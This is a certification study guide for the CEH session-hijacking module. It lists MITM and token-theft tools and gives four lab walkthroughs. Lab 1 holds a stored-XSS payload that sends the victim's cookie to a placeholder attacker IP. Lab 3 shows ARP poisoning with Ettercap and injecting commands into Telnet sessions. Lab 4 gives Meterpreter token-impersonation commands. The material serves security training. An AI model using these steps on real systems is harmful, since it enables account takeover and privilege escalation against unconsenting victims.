# Module 11: Session Hijacking - Practical Guide

This guide details the specialized tools and step-by-step procedures for the hands-on lab sessions required to master Session Hijacking as defined in the CEH v13 curriculum.

## 1. Comprehensive Session Hijacking Toolset

### Network Level Hijacking (TCP/UDP)

* **Ettercap:** A comprehensive suite for Man-in-the-Middle attacks. It features the "Unified Sniffing" mode which is the standard for hijacking active TCP sessions in a switched environment.
* **Bettercap:** The modern, modular successor to Ettercap. It is more stable for ARP poisoning and session monitoring on modern networks.
* **Scapy:** A powerful Python-based interactive packet manipulation program. It is used in advanced labs to manually calculate and inject the next TCP sequence number.

### Application Level Hijacking (HTTP/Web)

* **Burp Suite (Sequencer):** Essential for "Session Prediction" attacks. It analyzes the randomness (entropy) of session tokens to determine if they can be guessed.
* **OWASP ZAP:** An open-source alternative to Burp for intercepting and replaying session cookies.
* **EditThisCookie:** A browser extension used to manually inject stolen session tokens into a browser to impersonate a user.
* **CookieCadger:** A specialized tool for identifying and replaying insecure HTTP session cookies.

### Post-Exploitation Token Theft

* **Metasploit (Incognito Extension):** Used once a machine is compromised to list and "impersonate" security tokens of logged-in users, effectively hijacking their OS-level session.

## 2. Hands-On Lab Sessions

### Lab 1: Application Level - Cookie Theft via XSS

**Goal:** Use a Cross-Site Scripting (XSS) vulnerability to steal a user's session cookie.

1. **Target:** Use a vulnerable app like **DVWA** (Damned Vulnerable Web Application).
2. **Vector:** Locate a "Stored XSS" field.
3. **Payload:** Inject the following script:  
   <script>new Image().src="http://[Attacker\_IP]/log.php?c="+document.cookie;</script>
4. **Capture:** Monitor your web server logs. When a victim views the page, their PHPSESSID is sent to your server.
5. **Hijack:** Open your browser's Developer Tools, go to the **Application/Storage** tab, and replace your own cookie value with the stolen one. Refresh the page to be logged in as the victim.

### Lab 2: Application Level - Predicting Session IDs (Burp Sequencer)

**Goal:** Determine if a web application uses a weak algorithm for session ID generation.

1. **Intercept:** Open **Burp Suite** and intercept a successful login or a session-start request.
2. **Send to Sequencer:** Right-click the request and select "Send to Sequencer."
3. **Configure:** In the Sequencer tab, select the cookie/token form field.
4. **Analyze:** Click "Start Capture." Wait for Burp to gather at least 1,000 samples.
5. **Result:** Analyze the "Overall Quality" of randomness. If the result is "Poor" or "Low Entropy," an attacker can use a script to brute-force or predict future valid session IDs.

### Lab 3: Network Level - MITM Hijacking with Ettercap

**Goal:** Intercept and take over a Telnet or unencrypted HTTP session.

1. **Launch:** Run sudo ettercap -G.
2. **Discovery:** Select **Sniff -> Unified Sniffing**, then **Hosts -> Scan for hosts**.
3. **Targeting:** Add the Gateway to **Target 2** and the Victim to **Target 1**.
4. **ARP Poison:** Select **MITM -> ARP Poisoning** (check "Sniff remote connections").
5. **View Connections:** Go to **View -> Connections**.
6. **Hijack:** Find an active Telnet connection (Port 23). Double-click it. You can now see the cleartext communication and use the "Inject" feature to send commands (like useradd) to the server as if you were the legitimate user.

### Lab 4: OS Level - Token Impersonation (Metasploit)

**Goal:** Hijack the identity of a logged-in Administrator on a compromised Windows host.

1. **Initial Shell:** Gain a Meterpreter session on a Windows target.
2. **Load Incognito:** Type load incognito.
3. **List Tokens:** Type list\_tokens -u. Look for the "Delegation Tokens" section.
4. **Impersonate:** If an Administrator token is found, type:  
   impersonate\_token "DOMAIN\\Administrator"
5. **Verify:** Type getuid to confirm you have successfully hijacked the administrative session.

## 3. Key CEH Exam Technical Nuance

* **The "Predict" Step:** For the exam, remember that TCP hijacking relies on predicting the **32-bit Sequence Number (SEQ)**.
* **Sidejacking:** This is the specific term for sniffing session cookies on unencrypted Wi-Fi (using tools like Hamster/Ferret or CookieCadger).
* **Blind Hijacking:** Remember that in this mode, the attacker can send data (like a command to delete a file) but **cannot** see the server's output/response.